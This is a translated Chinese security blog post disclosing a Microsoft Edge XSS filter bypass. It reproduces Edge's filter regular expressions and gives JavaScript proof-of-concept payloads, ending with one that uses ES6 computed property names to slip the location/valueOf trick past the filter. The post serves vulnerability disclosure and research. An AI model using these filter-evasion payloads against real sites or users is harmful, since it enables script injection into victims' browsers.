作者曾经在2015年9月向微软提交了这个bug,但是微软 至今 也没有修复这个问题。考虑到离提交报告已经过去了很长时间,于是作者决定在他的博客中公开这个问题。
过去 IE 有一个缺陷,你可以使用位置对象作为一个函数,并结合 toString/valueOf 按照对象的字面意义来执行代码。基本上你可以使用对象的字面意义作为一个伪数组然后调用 join 函数构造成字符串,随后将依次其传递给 valueOf 和位置对象。下面是代码:
-{toString:[].join,length:1,0:'javascript:alert(123)',valueOf:location}
这在最新版的 Edge 上同样有用,但是浏览器会检测到 XSS 攻击。XSS 过滤器的正则表达式检测到一个字符串后面跟随若干包含 “{” 或 “,”的字符以及 toString/valueOf 和冒号。valueOf 中的字符 “a” 和 toString 中的字符 “o” 会被替换为 “#”。下面是一个简化版的正则表达式:
["'`].*?[{,].*(valueOf|toString).*?:}
下面是2015年10月份的 Edge XSS 过滤正则表达式 。
{<a.*?hr{e}f} {[/"/'`][ ]*(([^a-z0-9~_:/'/"` ])|(in)).+?{[/(`]}.*?{[/)`]}} {[/"/'`].*?[{,].*(((v|(//u0076)|(//u[{]0*76[}])|(//166)|(//x76))[^a-z0-9]*({a}|(//u00{6}1)|(//u[{]0*{6}1[}])|(//1{4}1)|(//x{6}1))[^a-z0-9]*(l|(//u006C)|(//u[{]0*6C[}])|(//154)|(//x6C))[^a-z0-9]*(u|(//u0075)|(//u[{]0*75[}])|(//165)|(//x75))[^a-z0-9]*(e|(//u0065)|(//u[{]0*65[}])|(//145)|(//x65))[^a-z0-9]*(O|(//u004F)|(//u[{]0*4F[}])|(//117)|(//x4F))[^a-z0-9]*(f|(//u0066)|(//u[{]0*66[}])|(//146)|(//x66)))|((t|(//u0074)|(//u[{]0*74[}])|(//164)|(//x74))[^a-z0-9]*({o}|(//u00{6}F)|(//u[{]0*{6}F[}])|(//1{5}7)|(//x{6}F))[^a-z0-9]*(S|(//u0053)|(//u[{]0*53[}])|(//123)|(//x53))[^a-z0-9]*(t|(//u0074)|(//u[{]0*74[}])|(//164)|(//x74))[^a-z0-9]*(r|(//u0072)|(//u[{]0*72[}])|(//162)|(//x72))[^a-z0-9]*(i|(//u0069)|(//u[{]0*69[}])|(//151)|(//x69))[^a-z0-9]*(n|(//u006E)|(//u[{]0*6E[}])|(//156)|(//x6E))[^a-z0-9]*(g|(//u0067)|(//u[{]0*67[}])|(//147)|(//x67)))).*?:} {<fo{r}m.*?>} {<sc{r}ipt.*?[ /+/t]*?((src)|(xlink:href)|(href))[ /+/t]*=} {<TEXTA{R}EA[ /+/t>]} {<OPTION[ /+/t].*?va{l}ue[ /+/t]*=} {<INPUT[ /+/t].*?va{l}ue[ /+/t]*=} {<BUTTON[ /+/t].*?va{l}ue[ /+/t]*=} {[/"/'`][ ]*(([^a-z0-9~_:/'/"` ])|(in)).+?{[/[]}.*?{[/]]}.*?=} {[/"/'`][ ]*(([^a-z0-9~_:/'/"` ])|(in)).+?{[.]}.+?=} {[/"/'`].*?{[/)`]}[ ]*(([^a-z0-9~_:/'/"` ])|(in)).+?{[/(`]}} {<sc{r}ipt.*?>} {[/"/'`][ ]*(([^a-z0-9~_:/'/"` ])|(in)).*?(((l|(//u006[Cc])|(//u[{]0*6[Cc][}]))(o|(//u006[Ff])|(//u[{]0*6[Ff][}]))({c}|(//u00{6}3)|(//u[{]0*{6}3[}]))(a|(//u0061)|(//u[{]0*61[}]))(t|(//u0074)|(//u[{]0*74[}]))(i|(//u0069)|(//u[{]0*69[}]))(o|(//u006[Ff])|(//u[{]0*6[Ff][}]))(n|(//u006[Ee])|(//u[{]0*6[Ee][}])))|((n|(//u006[Ee])|(//u[{]0*6[Ee][}]))(a|(//u0061)|(//u[{]0*61[}]))({m}|(//u00{6}[Dd])|(//u[{]0*{6}[Dd][}]))(e|(//u0065)|(//u[{]0*65[}])))|((o|(//u006[Ff])|(//u[{]0*6[Ff][}]))(n|(//u006[Ee])|(//u[{]0*6[Ee][}]))({e}|(//u00{6}5)|(//u[{]0*{6}5[}]))(r|(//u0072)|(//u[{]0*72[}]))(r|(//u0072)|(//u[{]0*72[}]))(o|(//u006[Ff])|(//u[{]0*6[Ff][}]))(r|(//u0072)|(//u[{]0*72[}])))|((v|(//u0076)|(//u[{]0*76[}]))(a|(//u0061)|(//u[{]0*61[}]))({l}|(//u00{6}[Cc])|(//u[{]0*{6}[Cc][}]))(u|(//u0075)|(//u[{]0*75[}]))(e|(//u0065)|(//u[{]0*65[}]))(O|(//u004[Ff])|(//u[{]0*6[Ff][}]))(f|(//u0066)|(//u[{]0*66[}])))).*?=} {<AP{P}LET[ /+/t>]} {[ /+/t/"/'`]data{s}rc[ +/t]*?=.} {<BA{S}E[ /+/t].*?href[ /+/t]*=} {<LI{N}K[ /+/t].*?href[ /+/t]*=} {<st{y}le.*?>.*?((@[i//])|(([:=]|(?0*((58)|(3A)|(61)|(3D));?)).*?([(//]|(?0*((40)|(28)|(92)|(5C));?))))} {[ /+/t/"/'`]st{y}le[ /+/t]*?=.*?([:=]|(?0*((58)|(3A)|(61)|(3D));?)).*?([(//]|(?0*((40)|(28)|(92)|(5C));?))} {<OB{J}ECT[ /+/t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+/t]*=} {[ /+/t/"/'`]{o}n/c/c/c+?[ +/t]*?=.} {<.*[:]vmlf{r}ame.*?[ /+/t]*?src[ /+/t]*=} {<[i]?f{r}ame.*?[ /+/t]*?src[ /+/t]*=} {<is{i}ndex[ /+/t>]} {<ME{T}A[ /+/t].*?((http-equiv)|(charset))[ /+/t]*=} {<[?]?im{p}ort[ /+/t].*?implementation[ /+/t]*=} {<EM{B}ED[ /+/t].*?((src)|(type)).*?=} {(v|(?0*((86)|(56)|(118)|(76));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(?0*((66)|(42)|(98)|(62));?))}([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(?0*((83)|(53)|(115)|(73));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(?0*((67)|(43)|(99)|(63));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(?0*((82)|(52)|(114)|(72));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(?0*((73)|(49)|(105)|(69));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(?0*((80)|(50)|(112)|(70));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(?0*((84)|(54)|(116)|(74));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&((#x?0*((58)|(3A));?)|(colon;)))).} {(j|(?0*((74)|(4A)|(106)|(6A));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(?0*((65)|(41)|(97)|(61));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(v|(?0*((86)|(56)|(118)|(76));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(?0*((65)|(41)|(97)|(61));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(s|(?0*((83)|(53)|(115)|(73));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(c|(?0*((67)|(43)|(99)|(63));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(r|(?0*((82)|(52)|(114)|(72));?))}([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(?0*((73)|(49)|(105)|(69));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(?0*((80)|(50)|(112)|(70));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(?0*((84)|(54)|(116)|(74));?))([/t]|(&((#x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(:|(&((#x?0*((58)|(3A));?)|(colon;)))).}
目前 Edge 已经支持 ES6 并且有了一些非常有用的新功能。但 ES6 的计算特性允许你通过一个表达式来计算属性的名称,例如:
x='a'; o={[x]:123}; alert(o.a)
至此我想你应该知道要怎么办了吧。通过将这两种技术结合就可以绕过 Edge XSS 过滤器。之前说过正则表达式会匹配 toString/valueOf,但不幸的是我们可以利用计算特性来混淆它们。
x='g',y='f', {['toStrin'+x]:[].join,length:1,0:'java/script:alert/x28123/x29',['valueO'+y]:location}-'';
POC 地址
*原文: portswigger ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)